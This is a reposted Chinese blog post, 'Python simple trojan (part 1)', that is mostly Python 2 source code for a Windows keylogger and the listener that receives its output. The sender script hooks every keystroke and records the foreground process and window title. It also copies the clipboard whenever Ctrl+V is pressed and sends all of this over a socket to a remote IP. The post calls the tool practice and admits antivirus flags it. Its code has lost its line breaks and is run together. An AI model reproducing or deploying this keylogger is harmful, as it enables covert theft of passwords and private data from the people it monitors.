python简易木马(一)
生活随笔
收集整理的這篇文章主要介紹了
python简易木马(一)
小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
參考鏈接:
Python編寫簡(jiǎn)易木馬程序
參考這個(gè)博客來(lái)寫的
一些具體的問(wèn)題:
1.配置pyHook模塊、ctypes模塊,需要這兩個(gè)木塊才能運(yùn)行成功。
2.將三個(gè)模塊結(jié)合起來(lái)要分清client為發(fā)送方server為接收方。
結(jié)合起來(lái):發(fā)送方(被監(jiān)控者)
# -*- coding:gb2312 -*-from ctypes import* import pythoncom import pyHook import win32clipboard import socket import threadingdef send(message):#目標(biāo)地址ip/URL及端口target_host = "***.***.***.***"target_port = 9999#創(chuàng)建一個(gè)socket對(duì)象client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)#連接主機(jī) client.connect((target_host,target_port))#發(fā)送數(shù)據(jù)client.send("GET/HTTP/1.1\r\n"+message+"\r\n\r\n")#接受響應(yīng)response = client.recv(4096)#-------------------------------------------------- user32 = windll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = Nonedef get_current_process():#獲取最上層的窗口句柄hwnd = user32.GetForegroundWindow()#獲取進(jìn)程IDpid = c_ulong(0)user32.GetWindowThreadProcessId(hwnd,byref(pid))#將進(jìn)程ID存入變量process_id = "%d"%pid.value#申請(qǐng)內(nèi)存executable = create_string_buffer("\x00"*512)h_process = kernel32.OpenProcess(0x400|0x10,False,pid)psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)#讀取窗口標(biāo)題windows_title = create_string_buffer("\x00"*512)length = user32.GetWindowTextA(hwnd,byref(windows_title),512)#發(fā)送message = process_id+" "+executable.value+" "+windows_title.valuesend(message)#關(guān)閉handows kernel32.CloseHandle(hwnd)kernel32.CloseHandle(h_process)#定義擊鍵監(jiān)聽事件函數(shù) def KeyStroke(event):global current_window#檢測(cè)目標(biāo)窗口是否發(fā)生轉(zhuǎn)移(換了其他窗口就監(jiān)聽其他窗口)if event.WindowName != current_window:#函數(shù)調(diào)用 get_current_process()#檢查擊鍵是否為常規(guī)按鍵(非組合鍵)并發(fā)送if event.Ascii >32 and event.Ascii < 127:message = chr(event.Ascii)send(message)else:#如果發(fā)現(xiàn)Ctrl+v事件,酒吧粘貼板內(nèi)容發(fā)送if event.Key == "V":win32clipboard.OpenClipboard()pasted_value = win32clipboard.GetClipboardData()win32clipboard.CloseClipboard()message = pasted_valuesend(message)else:send(event.Key)#監(jiān)聽下一個(gè)擊鍵事件return True #創(chuàng)建并注冊(cè)hook管理器 kl = pyHook.HookManager() kl.KeyDown = KeyStroke#注冊(cè)hook并執(zhí)行 kl.HookKeyboard() pythoncom.PumpMessages()接收方:
# -*- coding:gb2312 -*- import socket import threading#監(jiān)聽的ip及端口 bind_ip = "127.0.0.1" bind_port = 9999server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)server.bind((bind_ip,bind_port))server.listen(5)print"[*]Listening on %s:%d"%(bind_ip,bind_port)def handle_client(client_socket):request = client_socket.recv(1024)print"[*]Received:%s"%requestclient_socket.send("ok!")client_socket.close()while True:client,addr = server.accept()print"[*]Accept connection from:%s:%d"%(addr[0],addr[1])client_handler = threading.Thread(target=handle_client,args=(client,))client_handler.start()就是把三個(gè)模塊結(jié)合,把發(fā)送的數(shù)據(jù)改為記錄即可。
未解決問(wèn)題:
1.哎,沒(méi)什么用,雖然能實(shí)現(xiàn)功能,但是一般的殺毒軟件都能檢測(cè)到程序在監(jiān)控鍵盤輸入,就當(dāng)練習(xí)玩吧。
2.功能不夠完善,沒(méi)有遠(yuǎn)程控制功能,把他扔出去就只能接受信息了。
3.未完善鼠標(biāo)監(jiān)聽和截圖功能。
轉(zhuǎn)載于:https://www.cnblogs.com/cxy2016/p/6686202.html
總結(jié)
以上是生活随笔為你收集整理的python简易木马(一)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 2017网易有道内推编程题
- 下一篇: JSjQuery全选反选父项子项联动多选